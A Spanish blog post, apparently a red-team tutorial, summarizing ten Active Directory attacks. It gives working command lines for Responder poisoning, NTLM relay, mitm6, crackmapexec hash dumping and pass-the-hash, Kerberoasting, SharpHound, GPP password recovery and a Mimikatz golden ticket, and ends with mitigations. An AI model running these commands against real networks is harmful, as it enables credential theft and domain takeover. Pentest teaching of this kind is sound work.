El pentesting del Directorio Activo es una mina de oro para un Red Team ya que es un sistema crítico en la mayoría de las organizaciones. Cualquier compromiso de credenciales puede ayudar a un atacante a obtener acceso al dominio de la organización. De hecho, los ataques al DA son tan populares que hasta las certificaciones profesionales ya los incluyen en sus planes de estudios.
Harpreet Singh en artículo de Pentest Magazine hablaba del top 10 de los ataques más comunes al Directorio Activo, algo que todo "hijo de vecino" prueba una vez que ha conseguido traspasar el perímetro y posicionarse en algún segmento de la red interna.
Los escenarios de ataque 1 a 4 no requieren ninguna credencial, mientras que los escenarios de ataque 5 a 10 requieren un conjunto de credenciales con privilegios bajos. Después de obtener las credenciales de los ataques 1 a 4, el atacante puede cambiar a los ataques mencionados en 5 a 10.
Escenarios de Ataques
- 1: Envenenamiento LLMNR
Envenenamiento LLMNR
LLMNR
es el acrónimo de Link Local Multicast Name Resolution y se utiliza
para identificar hosts cuando el DNS interno falla. El ataque consiste
en levantar un listener y esperar a que un usuario en la red inicie
sesión en una unidad compartida o en cualquier otra red objetivo.
Paso 1: iniciar el sniffer cuando está conectado a la red
responder.py -I eth0
Paso 2: usar hashcat para intentar crackear los hashes
hashcat -m 5600 hashes.txt rockyou.txt
- 2: Ataque de relay SMB
Ataque de relay SMB
En
lugar de obtener los hashes y crackearlos offline como el ataque
anterior, en este caso se reenvía el hash en la red para acceder a los
dispositivos de destino. Si el usuario de dicho hash tiene acceso al
objetivo, el atacante que envía las credenciales obtendrá una shell y
podrá realizar las acciones post-explotación pertinentes como extraer
los hashes de la SAM.
El requisito para que este ataque funcione es que la firma SMB debe estar deshabilitada en la red.
Paso 1: cambiar la configuración del responder para escuchar y no responder.
SMB=Off & HTTP = Off
Paso 2: Iniciar el responder como en el ataque anterior
responder.py -I eth0
Paso 3: Iniciar el relay SMB
ntlmrelayx.py -tf targets.txt -smb2support
- 3: DNS Takeover
DNS Takeover
En
este ataque usaremos una herramienta llamada mitm6 para configurar un
Man-in-the-Middle. mitm6 está diseñado para usarse con ntlmrelayx y debe
ejecutarse paralelamente. mitm6 falsificará el DNS, causando que los
usuarios objetivo se conecten a ntlmrelayx para conexiones HTTP y SMB.
PD: hay que asegurarse de ejecutar ntlmrelayx con la opción -6, lo que hará que escuche tanto en IPv4 como en IPv6.
En
caso de que un administrador inicie sesión mientras se ejecuta, creará
un usuario de dominio junto con un punto de restauración.
Paso 1: lanzar el MiTM usando la herramienta mitm6 y ejecutar ntlmrelay en paralelo
mitm6 -d <Dominio>
ntlmrelayx.py -6 -t ldaps://DC_IP -wh fakewpad.<Dominio> -l lootme
- 4: Buscar credenciales en Internet
- 5 y 6: Pass-the-Hash y Pass-the-Password
Pass-the-Hash y Pass-the-Password
Cuando ya tenemos un conjunto de credenciales, podemos "pasar la contraseña" por la red si tenemos acceso a todos los objetivos. Esto se puede verificar por ejemplo con la herramienta crackmapexec y podemos usar la misma herramienta para volcar los hashes en el servidor para usarlos más tarde.
Paso 1: Identificación de los servidores a
los que se puede acceder utilizando estas cuentas. En caso de que la
salida muestre (Pwned), tenemos acceso administrativo en ese servidor.
Podemos usar lo mismo para extraer hashes de ese servidor.
crackmapexec smb 10.0.0.0/24 -u <usuario> -d <Dominio> -p <Contraseña>
Paso 2: Obtener los hashes SAM de los servidores donde el usuario tiene acceso
crackmapexec smb 10.0.0.0/24 -u <usuario> -d <Dominio> -p <Contraseña> --sam
Los
hashes recopilados se pueden crackear offline usando hashcat. En caso
de que solo tengamos el hash NTLM y no la contraseña de texto claro,
también podemos intentar usarla en la red para a ver si eso funciona en
alguna parte.
Paso 1: reenviar el hash para verificar los servidores donde el usuario tiene acceso
crackmapexec smb 10.0.0.0/24 -u <usuario> -d <Dominio> -H <Hash>
Paso 2: usar el siguiente comando para obtener la shell interactiva en los servidores donde tenemos acceso
(confirmado a partir de los comandos anteriores)
psexec.py <dominio>/<usuario>:<Contraseña>@<IP del servidor>
- 7: Kerberoasting
Paso 1: generar tickets de Kerberos con el siguiente comando
GetUsersSPNs.py <Dominio>/<Usuario>:<Contraseña> -dc-ip <IP del controlador de dominio> -request
hashcat -m 13100 hashes.txt rockyou.txt
- 8: BloodHound
La relación entre computadoras, usuarios,
privilegios y todos los demás objetos es compleja. Hay formas manuales
para extraer la información como usuarios, grupos, sesiones, etc., pero
dado el tamaño y la complejidad de la red, se vuelve difícil recopilar y
correlacionar toda la información. Bloodhound es una herramienta que
puede hacer toda la correlación y ayudar a un atacante a identificar las
rutas de ataque.
El requisito para ejecutarlo es acceder a un
sistema y ejecutar una herramienta de recopilación de PowerShell llamada
sharphound. La salida generada se puede extraer y cargar en Bloodhound,
que el atacante puede analizar mientras se toma un café. La herramienta
ofrece varias consultas preconstruidas que el atacante puede usar para
identificar información, como:
- Información de la base de datos como Usuarios, Computadoras, Grupos, Sesiones, Relaciones, etc.
- ¿Qué usuario está conectado dónde?
- ¿Qué usuario tiene acceso de administrador?
Ruta más corta para llegar al controlador de dominio
Paso 1: recopilación de datos con sharphound.ps1
PS>PowerShell -ep bypass
PS>. .\SharpHound.ps1
PS>Invoke-BloodHound -CollectionMethod -All -Domain <Nombre del dominio> -ZipFileName file.zip
Paso 2: subir a bloodhound
Necesitamos analizar los resultados y normalmente apuntar a los objetivos donde el administrador del dominio ha iniciado sesión y luego intentar llegar allí y extraer los hashes.
- 9: Ataque MS14-025
El archivo en el que se almacena la contraseña se llama Groups.xml. La idea es buscarlo a través de SYSVOL (findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml) y, una vez localizado, usar la herramienta gppdecrypt para extraer la contraseña.
- 10. Ataque Golden Ticket
En definitiva usaremos Mimikatz para generar un ticket dorado y luego pasarlo para acceder a cualquier recurso en la red.
Paso 1: abrir Mimikatz y ejecute el siguiente comando para extraer el hash "SID" y "NTLM"
lsadump::lsa /inject /name:krbtgt
kerberos::golden /User:Administrator /domain:<Domain> /<sid> /krbtgt:<NTLM> /id:500 /ptt
misc::cmd
Mitigaciones
- Mantener parcheados los sistemas y los controladores de dominio.
- Establecer políticas de contraseñas seguras (complejidad, historial, caducidad), incluso para cuentas de servicio y cuentas de invitados
- Asegurarse de no proporcionar la contraseña predeterminada a ningún usuario; la contraseña predeterminada también debe cambiarla
- administradores al aprovisionar cuentas.
- Educar a los usuarios y administradores para que sigan la política de seguridad de contraseñas.
- No utilizar cuentas administrativas para actividades no privilegiadas.
- No utilizar cuentas de administrador de dominio para iniciar sesión en sistemas que no sean de confianza.
- Deshabilitar el uso de LLMNR, NBT-NS y GPP.
- Habilitar la firma SMB, siempre que sea posible.
No hay comentarios:
Publicar un comentario